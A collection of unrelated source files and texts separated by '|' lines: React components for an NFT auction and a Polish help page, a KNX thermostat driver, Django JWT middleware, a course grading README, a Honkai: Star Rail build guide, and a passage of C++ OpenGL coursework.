import { Navigate, useNavigate } from "react-router-dom";
function UnSoldOwner(props) {
const navigate = useNavigate();
const [resInfo, setResInfo] = useState(null);
useEffect(() => {
const params = props.nftId;
shop
.nftUnsoldOne(params)
.then((result) => {
setResInfo(result.data);
})
.catch((error) => {
console.log(error);
});
}, []);
//가격
const [price, setPrice] = useState(1);
const sellPriceChange = (e) => {
setPrice(e.target.value);
};
//분양하기 클릭할 경우
const auctionClick = () => {
if (price > 0) {
for(let i = 0; i < price.length; i++) {
if(price.slice(i, i+1) === '.') {
alert("소수점 값은 입력 불가능합니다")
return
}
}
auctionTest();
}
else if(price < 0) {
alert("음수는 입력 불가능합니다")
}
else {
alert("1 이상의 숫자 값만 입력해주세요")
}
};
//초기 날짜 = 지금 현재 시간
const currentDate = new Date();
const [auctionTime, setAuctionTime] = useState(currentDate);
//날짜를 선택했을 경우
function handleDateChange(value) {
setAuctionTime(value);
}
const tokenId = localStorage.getItem("tokenId");
// const [account, setAccount] = useState()
const [loading, setLoading] = useState(false);
const auctionTest = async () => {
let web3 = new Web3(window.ethereum);
const accounts = await web3.eth.requestAccounts();
const SudalFarmContract = new web3.eth.Contract(
SudalFarmABI,
SudalFarmAddress
);
//모달 띄우기
setLoading(true);
// nft 권한 허용
const approval = await SudalFarmContract.methods
.approve(SudalAuctionAddress, tokenId)
.send({ from: accounts[0] });
if (approval.status) {
// 경매 시작
const SudalAuctionContract = new web3.eth.Contract(
SudalAuctionABI,
SudalAuctionAddress
);
await SudalAuctionContract.methods
.createAuction(
tokenId,
Math.floor((auctionTime.getTime() - new Date().getTime()) / 1000),
price
)
.send({ from: accounts[0] });
}
await setLoading(false);
alert("분양을 완료했달! 확인을 누르면 마이페이지로 넘어간달!");
navigate("/myPage");
};
if (resInfo !== null) {
return (
<div>
<Modal open={loading} setLoading={setLoading} />
<BidList
style={{ margin: "30px 0" }}
title="요청 내역"
date="요청 시간"
price="제안가(SSF)"
bidLog={resInfo}
/>
<hr />
<div className="sell-request">
<h3>분양하기</h3>
<div className="bid">
<span>분양가</span>
<div>
<input
type="number"
min={1}
defaultValue={1}
onChange={sellPriceChange}
className="bid-input"
style={{
margin: "0",
textAlign: "right",
fontFamily: "neo",
fontSize: "20px",
width: "205px",
}}
/>
<span> SSF</span>
</div>
<span style={{color: "red", fontSize: "15px", marginLeft: "336px"}}>소수점 입력 불가</span>
</div>
<div className="sell-end-date">
<span>분양 마감일</span>
<DateTimePicker
format="yyyy-MM-dd HH:mm"
minDate={currentDate}
onChange={handleDateChange}
value={auctionTime}
/>
</div>
<div className="request-btn-wrap">
<button className="request-btn" onClick={auctionClick}>
분양하기
</button>
</div>
</div>
</div>
);
}
}
export default UnSoldOwner;
|
import React from 'react';
import { Accordion, AccordionSummary, AccordionDetails, Typography, Box, Container, Grid } from '@mui/material';
import ExpandMoreIcon from '@mui/icons-material/ExpandMore';
import { useTranslation } from 'react-i18next';
import InfoNavBar from '../../../Components/NavigationBar/InfoNavBar';
import YouTubePlayer from '../../../Components/Info/MainPage/YouTubePlayer';
function Knowledge() {
const { t, i18n } = useTranslation();
return (
<div>
<InfoNavBar></InfoNavBar>
<Container maxWidth="md">
<div style={{ display: 'flex', justifyContent: 'center' }}>
<Grid container spacing={2}>
<Grid item xs={12} sm={12}>
<Box p={2}>
<Accordion defaultExpanded>
<AccordionSummary expandIcon={<ExpandMoreIcon />}>
<Typography variant="h6" fontWeight="bold">
Widok Managera
</Typography>
</AccordionSummary>
<AccordionDetails>
<YouTubePlayer videoUrl="plXtqNL1Mh4" title={t('')} />
<Typography>
<strong>Zarządzanie Pracownikami:</strong> Administrator lub manager może dodawać, edytować i usuwać informacje o pracownikach, w tym ich dane osobowe, umiejętności i inne istotne informacje.
<br /><br />
<strong>Zarządzanie Kontrahentami:</strong> Ta funkcja pozwala na zarządzanie danymi dotyczącymi partnerów biznesowych, klientów lub dostawców.
<br /><br />
<strong>Zarządzanie Słownikami:</strong> Administrator może definiować i modyfikować terminologię oraz dane używane w aplikacji.
<br /><br />
<strong>Planowanie w Kalendarzu:</strong> Widok managera umożliwia tworzenie i zarządzanie zadaniami i wydarzeniami w kalendarzu pracowników. To pozwala na efektywne rozplanowanie pracy.
<br /><br />
<strong>Podgląd Statusu Realizacji:</strong> Manager może śledzić postęp w realizacji zadań przez pracowników, co pozwala na monitorowanie efektywności.
<br /><br />
<strong>Definiowanie Miejsc:</strong> Manager może określać lokalizacje lub miejsca, które są istotne dla działalności firmy.
<br /><br />
<strong>Generowanie Raportów:</strong> Aplikacja oferuje różne narzędzia do tworzenia raportów i analizy danych biznesowych.
</Typography>
<br />
<h5><u>{t("Reports")}</u></h5>
<img src="managerBoard.png" alt="Widok Administratora/Managera" style={{ maxWidth: '100%' }} />
<p></p>
<h5><u>{t("Schedule")}</u></h5>
<img src="managerplanowanie.png" alt="Widok Administratora/Managera" style={{ maxWidth: '100%' }} />
</AccordionDetails>
</Accordion>
</Box>
</Grid>
<Grid item xs={12} sm={12}>
<Box p={2}>
<Accordion defaultExpanded>
<AccordionSummary expandIcon={<ExpandMoreIcon />}>
<Typography variant="h6" fontWeight="bold">
Widok Pracownika
</Typography>
</AccordionSummary>
<AccordionDetails>
<YouTubePlayer videoUrl="V8R2mdvlv7o" title={t('')} />
<Typography>
<strong>Podgląd Harmonogramu Pracy:</strong> Pracownik ma dostęp do swojego harmonogramu pracy, dzięki czemu może sprawdzać daty, godziny i miejsca swoich zadań.
<br /><br />
<strong>Rozliczanie Czasu Pracy:</strong> Możliwość śledzenia czasu pracy, co jest kluczowe dla płacenia pracownikom i śledzenia efektywności.
<br /><br />
<strong>Definiowanie Usług:</strong> Pracownik może określać rodzaje usług, które oferuje lub wykonywać.
<br /><br />
<strong>Definiowanie Absencji:</strong> Pracownik może zgłaszać swoją nieobecność, na przykład urlop lub zwolnienie lekarskie.
</Typography>
<br />
<h5><u>{t("Tasks")}</u></h5>
<Grid container spacing={2}>
<Grid item xs={12} sm={6}>
<img src="WorkerTasks.png" alt="Widok Administratora/Managera" style={{ maxWidth: '100%' }} />
</Grid>
<p></p>
<Grid item xs={12} sm={6}>
<img src="WorkerSchedule.png" alt="Widok Administratora/Managera" style={{ maxWidth: '100%' }} />
</Grid>
</Grid>
</AccordionDetails>
</Accordion>
</Box>
</Grid>
<Grid item xs={12} sm={12}>
<Box p={2}>
<Accordion defaultExpanded>
<AccordionSummary expandIcon={<ExpandMoreIcon />}>
<Typography variant="h6" fontWeight="bold">
Widok Klienta
</Typography>
</AccordionSummary>
<AccordionDetails>
<Typography>
<strong>Dostęp do Raportów:</strong> Klient ma możliwość przeglądania raportów i danych związanych z usługami lub zleceniami wykonanymi przez firmę.
<br /><br />
<strong>Zgłaszanie Zagadnień:</strong> Klient może składać zapytania, zgłaszać problemy lub wnioski w aplikacji.
<br /><br />
<strong>Podgląd Zestawień i Miejsc:</strong> Klient ma dostęp do zestawień i informacji na temat usług, a także do informacji na temat lokalizacji lub miejsc związanych z działalnością firmy.
</Typography>
<br />
<h5><u>{t("Venue")}</u></h5>
<img src="ClientVenueDetails.png" alt="Widok Administratora/Managera" style={{ maxWidth: '100%' }} />
<p></p>
<h5><u>{t("Services")}</u></h5>
<img src="ClientServices.png" alt="Widok Administratora/Managera" style={{ maxWidth: '100%' }} />
</AccordionDetails>
</Accordion>
</Box>
</Grid>
</Grid>
</div>
</Container>
</div>
);
}
export default Knowledge;
|
'use strict';
const KNXGenericDevice = require('../../lib/GenericKNXDevice');
const DatapointTypeParser = require('../../lib/DatapointTypeParser');
class KNXThermostat extends KNXGenericDevice {
onInit() {
super.onInit();
this.registerCapabilityListener('target_temperature', this.onCapabilityTargetTemperature.bind(this));
}
onKNXEvent(groupaddress, data) {
super.onKNXEvent(groupaddress, data);
if (groupaddress === this.settings.ga_temperature_target) {
this.setCapabilityValue('target_temperature', DatapointTypeParser.dpt9(data))
.catch((knxerror) => {
this.log('Set target_temperature error', knxerror);
});
}
if (groupaddress === this.settings.ga_temperature_measure) {
this.setCapabilityValue('measure_temperature', DatapointTypeParser.dpt9(data))
.catch((knxerror) => {
this.log('Set measure_temperature error', knxerror);
});
}
}
onKNXConnection(connectionStatus) {
super.onKNXConnection(connectionStatus);
if (connectionStatus === 'connected') {
// Reading the groupaddress will trigger a event on the bus.
// This will be catched by onKNXEvent, hence the return value is not used.
if (this.settings.ga_temperature_target) {
this.knxInterface.readKNXGroupAddress(this.settings.ga_temperature_target)
.catch((knxerror) => {
this.log(knxerror);
});
}
if (this.settings.ga_temperature_measure) {
this.knxInterface.readKNXGroupAddress(this.settings.ga_temperature_measure)
.catch((knxerror) => {
this.log(knxerror);
});
}
}
}
onCapabilityTargetTemperature(value, opts) {
this.getMeasuredTemperature();
if (this.knxInterface && this.settings.ga_temperature_target) {
return this.knxInterface.writeKNXGroupAddress(this.settings.ga_temperature_target, value, 'DPT9.1')
.catch((knxerror) => {
this.log(knxerror);
throw new Error(this.homey.__('errors.temperature_set_failed'));
});
}
return null;
}
getMeasuredTemperature() {
if (this.settings.ga_temperature_measure) {
this.knxInterface.readKNXGroupAddress(this.settings.ga_temperature_measure)
.catch((knxerror) => {
this.log(knxerror);
throw new Error(this.homey.__('errors.temperature_get_failed'));
});
}
}
}
module.exports = KNXThermostat;
|
# Final Assignment
### Status
Once you are finished with the final assignment, edit this readme and add "x" to the correct box:
* [x] Submitted
* [] I'm still working on my final assignment.
## Instructions
Read the final assignment instructions from the course webpages [https://sustainability-gis.readthedocs.io](https://sustainability-gis.readthedocs.io/en/latest/lessons/final-assignment/final-assignment.html). Remember to write readable code, and to provide adequate documentation using inline comments and markdown. Organize all your documents into this repository and add your codes and written parts to the [final_assignment.ipynb](final_assignment.ipynb) Notebook. In sum, anyone who downloads this repository should be able to **read your code and documentation** and understand what is going on, and **run your code** in order to reproduce the same results!
**Note 1:** If your code requires some python packages not found in the csc notebooks environment, please mention them also in this readme and provide installation instrutions.
**Note 2:** Don't upload large files into GitHub! If you are using large input files, provide downloading instructions and perhaps a small sample of the data in this repository for demonstrating your workflow.
**Note 3:** Cite relevant literature related to the topic, and also add links to websites, tutorials books or articles that you found useful. If you got help from your course mates please also mention it in your report.
## Grading
### Programming (25 points)
**Points:**
- Finding relevant datasets (including info where to find the data): 3/3 points
- Reading, manipulating and analyzing data: 5/5 points
- The quality of visualizations (maps, graphs): 3/4 points
- Is the code written in a modular way (avoid repetition eg. using functions and for-loops): 5/5 points
- Is the code/notebook easy to read and well-formatted (e.g. following the PEP8 guidelines and using Markdown in a meaningful manner): 4/4 points
- Does everything work as it should (i.e. results can be reproduced): 4/4 points
### Written (25 points)
**Points:**
- is there a general description about the research problem (research questions)?: 5/5 points.
- are all results (maps, graphs etc.) presented/discussed clearly?: 5/5 points
- are the research findings interpreted appropriately, including limitations?: 5/5 points
- is there dialogue with relevant literature?: 4/4 points
- Fluency / clarity of the text: 3/3 points
- Appropriate citation practices used: 3/3 points
Comments:
Excellent work with the Final Assignment! :) It was a pleasure to read and easy to follow! I really liked the introduction, it was brilliantly outlined and well-thought. The visualizations were good! You used different kind of approaches to visualize the data (both interactive and static). Some room for improvement could still be to add informative titles and labels for the figures, so it would be very easy and quick to understand what they represent. You use functions which is great! An idea for improvement: you could add function descriptions using [docstrings](https://geo-python-site.readthedocs.io/en/latest/notebooks/L4/functions.html?highlight=docstring#adding-a-docstring) instead of comment lines (with # characters). Altogether, superb work, I appreciate how much effort you put to this! =) Remember that this report is also a great "modern" addition to your CV/portfolio that future employers.
# Course grade summary
See [grading criteria](https://sustainability-gis.readthedocs.io/en/latest/course-info/grading.html).
- Exercise 1: 19/20 points
- Exercise 2: 20/20 points
- Exercise 3: 20/20 points
- Exercise 4: 20/20 points
**Total points from exercises**: 79/80 points (60 % of the final grade)
**Final assignment**: 49/50 points (40 % of the final grade)
**Final grade**: 5/5
Excellent work!! Thanks for participating to the course! I hope you learned new things. =)
|
import jwt
from django.conf import settings
from django.http import JsonResponse
from django.conf import settings
from django.urls import resolve
from django.contrib.auth import get_user_model
def JWTAuthenticationMiddleware(get_response):
def middleware(request):
User=get_user_model()
# print(request.META.get('PATH_INFO'))
if request.META.get('PATH_INFO') in ['/user/signup','/admin/','/admin/login/', '/user/login']:
response = get_response(request)
return response
else:
# Get the JWT token from the request headers
auth_header = request.headers.get('Authorization')
if auth_header is None or not auth_header.startswith('Bearer '):
return JsonResponse({'error': 'Unauthorized access'})
token = auth_header.split(' ')[1]
try:
# Decode the token and get the user id
payload = jwt.decode(token, settings.SECRET_KEY, algorithms=['HS256'])
user_id = payload.get('user_id')
# Set the user object on the request
# print(user_id)
request.user = User.objects.get(pk=user_id)
except jwt.ExpiredSignatureError:
return JsonResponse({'error': 'Token has expired'}, status=401)
except (jwt.DecodeError, User.DoesNotExist):
return JsonResponse({'error': 'Invalid token'}, status=401)
response = get_response(request)
return response
return middleware
|
# Honkai Star Rail - Argenti Character Builds (Light Cones, Relics, Team Comps)
## SUMMARY

## Literature Review
Unlock Argenti’s potential as a main Physical DPS in Honkai: Star Rail. Here are his best Light Cones, Relics, Ornaments, stats, team comps, and more.
Argenti is different from several other Erudition characters, many of which rely on follow-up attacks to deal damage. Jing Yuan in Honkai: Star Rail is one such example. Argenti does not actually have a mechanic that allows him to strike with secondary attacks. Instead, Argenti has an interesting kit that plays around with Energy Regeneration Rate and increases to CRIT Rate. Due to his Talent, the more enemies hit by Argenti, the more Energy he regenerates and the higher the boost to his CRIT Rate. Of course, you will need to optimize this with the best Light Cones, Relics, stats, and a proper team comp to support him.
: Honkai: Star Rail - Jingliu Character Builds (Light Cones, Relics, Team Comps)
Best Light Cones For Argenti
The best Light Cone for Argenti in Honkai: Star Rail is his signature 5-star weapon, An Instant Before A Gaze. This premium item can only be obtained from the limited-time Light Cone banner whenever Argenti is featured in the gacha system. An Instant Before A Gaze grants a 36% boost to CRIT DMG. When the user activates their Ultimate, their Ultimate DMG is increased based on their Max Energy – each point of Energy increases the Ultimate DMG by 0.36%, up to 180 points. This means that, with Argenti’s 180 Max Energy points, he can effectively get a 64.8% boost to Ultimate DMG.
This goes along well with Argenti’s kit. Although he has a high Max Energy cap, this full amount can be used to deal extra damage to opponents via the second form of his Ultimate. With An Instant Before A Gaze, Argenti can further boost his damage output when consuming all Energy.
If you do not have access to Argenti’s signature Light Cone, a 5-star substitute you can employ with him is Jing Yuan’s signature weapon, called Before Dawn. Equipping it will grant the user a 36% increase to CRIT DMG and an 18% boost to their Skill and Ultimate DMG. These buffs alone are enough to justify its usage. Unfortunately, the second portion of the Light Cone’s skill goes to waste on Argenti since he does not have follow-up attacks in Honkai: Star Rail, which are empowered by the piece of gear.
Himeko’s Night on the Milky Way is also a viable alternative to Argenti’s signature Light Cone. The 5-star item grants a 9.0% ATK boost for every enemy on the field, up to 5 stacks and, when an opponent is inflicted with Weakness Break, the DMG dealt by the user increases by 30% for 1 turn. Although fairly generic, it does fit Argenti’s kit and allows him to have his offensive powers boosted.
The table below lists the best builds for Argenti in Honkai: Star Rail, including his recommended Light Cones, Relics, stats, and more:
Best Build For Argenti In Honkai: Star Rail Light Cone An Instant Before A Gaze (Best 5-star) Before Dawn (Substitute 5-star) Night On The Milky Way (Substitute 5-star) Today Is Another Peaceful Day (4-star option) Make The World Clamor (4-star option) Relic & Ornament Set Relics: Champion of Streetwise Boxing (4 pieces) Ornaments: Inert Salsotto (2 pieces) Space Sealing Station (2 pieces - temporary) Stat Priority ATK CRIT DMG / CRIT Rate Energy Recharge Rate Physical DMG SPD (optional) Skill Priority Ultimate Talent Skill Basic Attack
5-star Light Cones can be difficult to obtain, however. Luckily, there are 4-star options for Argenti to use in Honkai: Star Rail, some of which are actually very good. A great one is Today Is Another Peaceful Day. Upon entering battle, it boosts the user’s DMG by 0.20% per Energy point, up to 160 points. Even with the Light Cone disregarding 20 points of Argenti’s Max Energy, it can still grant him a 32% boost to all of his DMG. An equally strong option is Make The World Clamor, which immediately regenerates 20 Energy upon entering battle and increases Ultimate DMG by 32%.
Use a Light Cone that increases Argenti’s offensive powers or helps with his Energy Regeneration Rate. You can disregard most of the Light Cones that increase the power of follow-up attacks.
Best Relics, Ornaments, & Stats For Argenti
Aside from giving Argenti a Light Cone to wield, you will also need to find Relics in Honkai: Star Rail to improve his stats. So far, there is only one decent option to choose from. The Relics you will need to farm are those from the Champion of Streetwise Boxing set. Having two pieces equipped grants a 10% bonus to Physical DMG. With four pieces, after the user attacks or is hit, their ATK is boosted by 5% for the rest of the battle, an effect that can stack up to 5x times. This effectively allows Argenti to get a 25% ATK bonus during longer battles.
You will have a bit more leeway when choosing the Ornament set for Argenti. Inert Salsotto can be one of the best ones in Honkai: Star Rail – its two-piece bonus grants an 8% increase to CRIT Rate and, when the user’s CRIT Rate reaches 50% or higher, their Ultimate and follow-up attack DMG increases by 15%. If Argenti’s main body Relic has CRIT Rate as the main stat, reaching the 50% should not be too much trouble.
The effort in farming CRIT Rate will pay off with a great load of bonus DMG to Argenti’s main source of DMG, his Ultimate.
As a temporary alternative for Argenti, you can use Space Sealing Station. The two-piece bonus granted by this Ornament in Honkai: Star Rail increases the user’s ATK by 12% and, when their SPD reaches 120 or higher, their ATK gets an extra 12% boost. This is recommended as a temporary solution, as its generic buffs do not play around Argenti’s specific gameplay kit as much as Inert Salsotto does.
The stats you want to look out for when farming Relics and Ornaments for Argenti in Honkai: Star Rail are ATK, CRIT Rate / CRIT DMG, Physical DMG, and Energy Regeneration Rate. These stats are very important for his gameplay loop. SPD can also be a helpful stat, especially if you are using the Space Sealing Station Ornament set. Nevertheless, he should be quickened by his team comp, so your focus should be on the previously mentioned offensive stats and Energy Regen Rate to keep his Ultimate available whenever possible.
Best Team Comps For Argenti
The ideal team comps for Argenti are those that acknowledge him as the main DPS. Although you can always follow a basic team structure with him as your main DPS, a sub-DPS, a support, and a healer or shielder, the best team comp for him is a hypercarry team. Having Tingyun on the team can help with damage output in addition to a precious boost to Energy Regeneration Rate. The second support character can either be Hanya or Bronya, as they will boost Argenti’s SPD and ATK. If you use Huohuo in Honkai: Star Rail as your healer, she can provide extra Energy Regen and ATK bonuses.
Hanya can also help with Skill Point regeneration, which can prove to be very useful to keep Argenti dealing as much damage as he possibly can, even when his Ultimate is not charged.
The table below lists a few team comp suggestions for Argenti:
Best Team Comps For Argenti In Honkai: Star Rail Hypercarry Team Argenti (Physical - Erudition) Tingyun (Lightning - Harmony) Hanya (Physical - Harmony) or Bronya (Wind - Harmony) Huohuo (Wind - Abundance) or Luocha (Imaginary - Abundance) Mono Physical Team Argenti (Physical - Erudition) Luka (Physical - Nihility) or Silver Wolf (Quantum - Nihility) Hanya (Physical - Harmony) Natasha (Physical - Abundance)
Another option is to make a mono Physical team in Honkai: Star Rail. Having Argenti as the DPS, Hanya as the support, Natasha as the healer, and either Luka or Silver Wolf as the sub-DPS, you can pummel through opponents' teams. Granted, Silver Wolf is a Quantum hero, but having her inflict new weaknesses on enemies and lowering their DEF can help sustain the rest of the Physical-based team. The rule of thumb for using Argenti is having a team that can provide him with offensive buffs and, preferably a lot of Energy Regeneration.
There will be more options for a mono Physical team as the game progresses and new Physical characters are added over time.
Skill Priority For Argenti
When leveling up Argenti’s abilities in Honkai: Star Rail, also known as Traces, you should prioritize his Ultimate. That is his main source of damage and the most precious skill he can use against opponents. The next Trace to level up is his Talent, which regenerates his Energy and boosts his CRIT Rate for every enemy he strikes. Following that, you will want to increase his Skill, which is his secondary source of damage and the one to be spanned during his Ultimate’s downtime. The last Trace to be leveled is his Basic Attack. Although it can deal a lot of damage, it is the weakest link in his kit.
Building Argenti is not especially hard and though there is some complexity to his kit, it is not difficult to understand or master. He is powerful on his own, but smoothing out the rough edges and giving him the best gear and team members to work with can significantly improve his presence on the field when facing multiple enemies in Honkai: Star Rail.
Honkai: Star Rail Summary: Set after the events of the ongoing game Honkai Impact 3rd, Honkai: Star Rail is a turn-based online RPG from developer Hoyoverse. Two members of the Astral Express, March 7th and Dan Heng, are on their way to the Herta Space Station with precious cargo when ambushed by members of a group known as the Antimatter Legion. Chaos ensues as among them is the god of destruction known as Aeon, who steals a seed known as a Stellaron, which they implant in an artificial human known as the "Trailblazer." Players will assume the role of this character as they try to avoid their fate and save all of civilization. Similar to gacha-style games, players can acquire more characters to add to their party by summoning and engaging in fast-paced turn-based battles in this epic Sci-fi online RPG. Platform(s): PC, iOS, Android, PlayStation 5 Developer(s): HoYoverse Publisher(s): HoYoverse Genre(s): Turn-Based Strategy, RPG, Adventure Multiplayer: Online Multiplayer ESRB: T
---
> Author: [Ella](https://instagram.hk.cn/)
> URL: https://instagram.hk.cn/gaming/honkai-star-rail-argenti-character-builds-light-cones-relics-team-comps/
|
//
// Harvard University
// CS175 : Computer Graphics
// Professor Steven Gortler
//
#include <algorithm>
#include <cstddef>
#include <memory>
#include <stdexcept>
#include <string>
#include <vector>
#define GLEW_STATIC
#include "GL/glew.h"
#include "GL/glfw3.h"
#include "arcball.h"
#include "asstcommon.h"
#include "cvec.h"
#include "drawer.h"
#include "geometrymaker.h"
#include "glsupport.h"
#include "matrix4.h"
#include "picker.h"
#include "ppm.h"
#include "rigtform.h"
#include "scenegraph.h"
using namespace std;
static const float g_frustMinFov = 60.0; // A minimal of 60 degree field of view
static float g_frustFovY =
g_frustMinFov; // FOV in y direction (updated by updateFrustFovY)
static const float g_frustNear = -0.1; // near plane
static const float g_frustFar = -50.0; // far plane
static const float g_groundY = -2.0; // y coordinate of the ground
static const float g_groundSize = 10.0; // half the ground length
static GLFWwindow *g_window;
static int g_windowWidth = 512;
static int g_windowHeight = 512;
static double g_wScale = 1;
static double g_hScale = 1;
enum ObjId { SKY = 0, OBJECT0 = 1, OBJECT1 = 2 };
enum SkyMode { WORLD_SKY = 0, SKY_SKY = 1 };
static const char *const g_objNames[] = {"Sky", "Object 0", "Object 1"};
static bool g_mouseClickDown = false; // is the mouse button pressed
static bool g_mouseLClickButton, g_mouseRClickButton, g_mouseMClickButton;
static bool g_spaceDown = false; // space state, for middle mouse emulation
static double g_mouseClickX, g_mouseClickY; // coordinates for mouse click event
// static ObjId g_activeObject = SKY;
static ObjId g_activeEye = SKY;
static SkyMode g_activeCameraFrame = WORLD_SKY;
static bool g_displayArcball = true;
static double g_arcballScreenRadius = 128; // number of pixels
static double g_arcballScale = 1;
static bool picking = false;
static const int DEFAULT_SHADER = 0;
static const int PICKING_SHADER = 2;
static int g_activeShader = DEFAULT_SHADER;
static const int g_numShaders = 3;
static const char *const g_shaderFiles[g_numShaders][2] = {
{"./shaders/basic-gl3.vshader", "./shaders/diffuse-gl3.fshader"},
{"./shaders/basic-gl3.vshader", "./shaders/solid-gl3.fshader"},
{"./shaders/basic-gl3.vshader", "./shaders/pick-gl3.fshader"}};
static vector<shared_ptr<ShaderState>>
g_shaderStates; // our global shader states
// --------- Geometry
// Macro used to obtain relative offset of a field within a struct
#define FIELD_OFFSET(StructType, field) ((GLvoid *)offsetof(StructType, field))
// A vertex with floating point position and normal
struct VertexPN {
Cvec3f p, n;
VertexPN() {}
VertexPN(float x, float y, float z, float nx, float ny, float nz)
: p(x, y, z), n(nx, ny, nz) {}
// Define copy constructor and assignment operator from GenericVertex so we
// can use make* functions from geometrymaker.h
VertexPN(const GenericVertex &v) { *this = v; }
VertexPN &operator=(const GenericVertex &v) {
p = v.pos;
n = v.normal;
return *this;
}
};
struct Geometry {
GlBufferObject vbo, ibo;
GlArrayObject vao;
int vboLen, iboLen;
Geometry(VertexPN *vtx, unsigned short *idx, int vboLen, int iboLen) {
this->vboLen = vboLen;
this->iboLen = iboLen;
// Now create the VBO and IBO
glBindBuffer(GL_ARRAY_BUFFER, vbo);
glBufferData(GL_ARRAY_BUFFER, sizeof(VertexPN) * vboLen, vtx,
GL_STATIC_DRAW);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ibo);
glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(unsigned short) * iboLen, idx,
GL_STATIC_DRAW);
}
void draw(const ShaderState &curSS) {
// bind the object's VAO
glBindVertexArray(vao);
// Enable the attributes used by our shader
safe_glEnableVertexAttribArray(curSS.h_aPosition);
safe_glEnableVertexAttribArray(curSS.h_aNormal);
// bind vbo
glBindBuffer(GL_ARRAY_BUFFER, vbo);
safe_glVertexAttribPointer(curSS.h_aPosition, 3, GL_FLOAT, GL_FALSE,
sizeof(VertexPN), FIELD_OFFSET(VertexPN, p));
safe_glVertexAttribPointer(curSS.h_aNormal, 3, GL_FLOAT, GL_FALSE,
sizeof(VertexPN), FIELD_OFFSET(VertexPN, n));
// bind ibo
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ibo);
// draw!
glDrawElements(GL_TRIANGLES, iboLen, GL_UNSIGNED_SHORT, 0);
// Disable the attributes used by our shader
safe_glDisableVertexAttribArray(curSS.h_aPosition);
safe_glDisableVertexAttribArray(curSS.h_aNormal);
// disable VAO
glBindVertexArray(NULL);
}
};
typedef SgGeometryShapeNode<Geometry> MyShapeNode;
// Vertex buffer and index buffer associated with the ground and cube geometry
static shared_ptr<Geometry> g_ground, g_cube, g_sphere;
// --------- Scene
static const Cvec3 g_light1(2.0, 3.0, 14.0),
g_light2(-2, -3.0, -5.0); // define two lights positions in world space
/*
static RigTForm g_skyRbt = RigTForm(Cvec3(0.0, 0.25, 4.0));
static RigTForm g_objectRbt[2] = {RigTForm(Cvec3(-1, 0, 0)),
RigTForm(Cvec3(1, 0, 0))};
static Cvec3f g_objectColors[2] = {Cvec3f(0.99, 0.73, 0.01),
Cvec3f(0.33, 0.20, 1.00)};
*/
// ps6
static shared_ptr<SgRootNode> g_world;
static shared_ptr<SgRbtNode> g_skyNode, g_groundNode, g_robot1Node,
g_robot2Node;
static shared_ptr<SgRbtNode> g_currentPickedRbtNode;
// ps6
static void initGround() {
// A x-z plane at y = g_groundY of dimension [-g_groundSize, g_groundSize]^2
VertexPN vtx[4] = {
VertexPN(-g_groundSize, g_groundY, -g_groundSize, 0, 1, 0),
VertexPN(-g_groundSize, g_groundY, g_groundSize, 0, 1, 0),
VertexPN(g_groundSize, g_groundY, g_groundSize, 0, 1, 0),
VertexPN(g_groundSize, g_groundY, -g_groundSize, 0, 1, 0),
};
unsigned short idx[] = {0, 1, 2, 0, 2, 3};
g_ground.reset(new Geometry(&vtx[0], &idx[0], 4, 6));
}
static void initCubes() {
int ibLen, vbLen;
getCubeVbIbLen(vbLen, ibLen);
// Temporary storage for cube geometry
vector<VertexPN> vtx(vbLen);
vector<unsigned short> idx(ibLen);
makeCube(1, vtx.begin(), idx.begin());
g_cube.reset(new Geometry(&vtx[0], &idx[0], vbLen, ibLen));
}
static void initSphere() {
int ibLen, vbLen;
getSphereVbIbLen(20, 10, vbLen, ibLen);
// Temporary storage for sphere geometry
vector<VertexPN> vtx(vbLen);
vector<unsigned short> idx(ibLen);
makeSphere(1, 20, 10, vtx.begin(), idx.begin());
g_sphere.reset(new Geometry(&vtx[0], &idx[0], vtx.size(), idx.size()));
}
// takes a projection matrix and send to the the shaders
static void sendProjectionMatrix(const ShaderState &curSS,
const Matrix4 &projMatrix) {
GLfloat glmatrix[16];
projMatrix.writeToColumnMajorMatrix(glmatrix); // send projection matrix
safe_glUniformMatrix4fv(curSS.h_uProjMatrix, glmatrix);
}
static shared_ptr<SgRbtNode> getRbtFromEyeId(ObjId eyeId) {
shared_ptr<SgRbtNode> *nodes[] = {&g_skyNode, &g_robot1Node, &g_robot2Node};
return *nodes[eyeId];
}
static shared_ptr<SgRbtNode> getCurrPicked() {
if (g_currentPickedRbtNode.get() != NULL) {
return g_currentPickedRbtNode;
}
return getRbtFromEyeId(g_activeEye);
}
/*
static RigTForm getRbtFromObjId(ObjId objId) {
RigTForm *rbts[] = {&g_skyRbt, &g_objectRbt[0], &g_objectRbt[1]};
return *rbts[objId];
}
static void setRbtFromObjId(ObjId objId, const RigTForm &rbt) {
RigTForm *rbts[] = {&g_skyRbt, &g_objectRbt[0], &g_objectRbt[1]};
*rbts[objId] = rbt;
}
*/
// update g_frustFovY from g_frustMinFov, g_windowWidth, and g_windowHeight
static void updateFrustFovY() {
if (g_windowWidth >= g_windowHeight)
g_frustFovY = g_frustMinFov;
else {
const double RAD_PER_DEG = 0.5 * CS175_PI / 180;
g_frustFovY =
atan2(sin(g_frustMinFov * RAD_PER_DEG) * g_windowHeight / g_windowWidth,
cos(g_frustMinFov * RAD_PER_DEG)) /
RAD_PER_DEG;
}
}
static Matrix4 makeProjectionMatrix() {
return Matrix4::makeProjection(
g_frustFovY, g_windowWidth / static_cast<double>(g_windowHeight),
g_frustNear, g_frustFar);
}
enum ManipMode { ARCBALL_ON_PICKED, ARCBALL_ON_SKY, EGO_MOTION };
static ManipMode getManipMode() {
shared_ptr<SgRbtNode> active = getCurrPicked();
if (active == getRbtFromEyeId(g_activeEye)) {
if (g_activeEye == SKY && g_activeCameraFrame == WORLD_SKY) {
return ARCBALL_ON_SKY;
} else {
return EGO_MOTION;
}
}
return ARCBALL_ON_PICKED;
}
static bool shouldUseArcball() {
return !(getCurrPicked() == getRbtFromEyeId(g_activeEye));
// return !(g_activeObject == SKY);
// return getManipMode() != EGO_MOTION && (!(g_activeEye != SKY &&
// g_activeObject == SKY));
}
// The translation part of the aux frame either comes from the current
// active object, or is the identity matrix when
static RigTForm getArcballRbt() {
shared_ptr<SgRbtNode> active = getCurrPicked();
switch (getManipMode()) {
case ARCBALL_ON_PICKED:
// manip mode should prevent this case on null picked
assert(g_currentPickedRbtNode.get() != NULL);
return getPathAccumRbt(g_world, active);
case ARCBALL_ON_SKY:
return RigTForm();
case EGO_MOTION:
// return getRbtFromObjId(g_activeEye);
return getPathAccumRbt(g_world, getRbtFromEyeId(g_activeEye));
default:
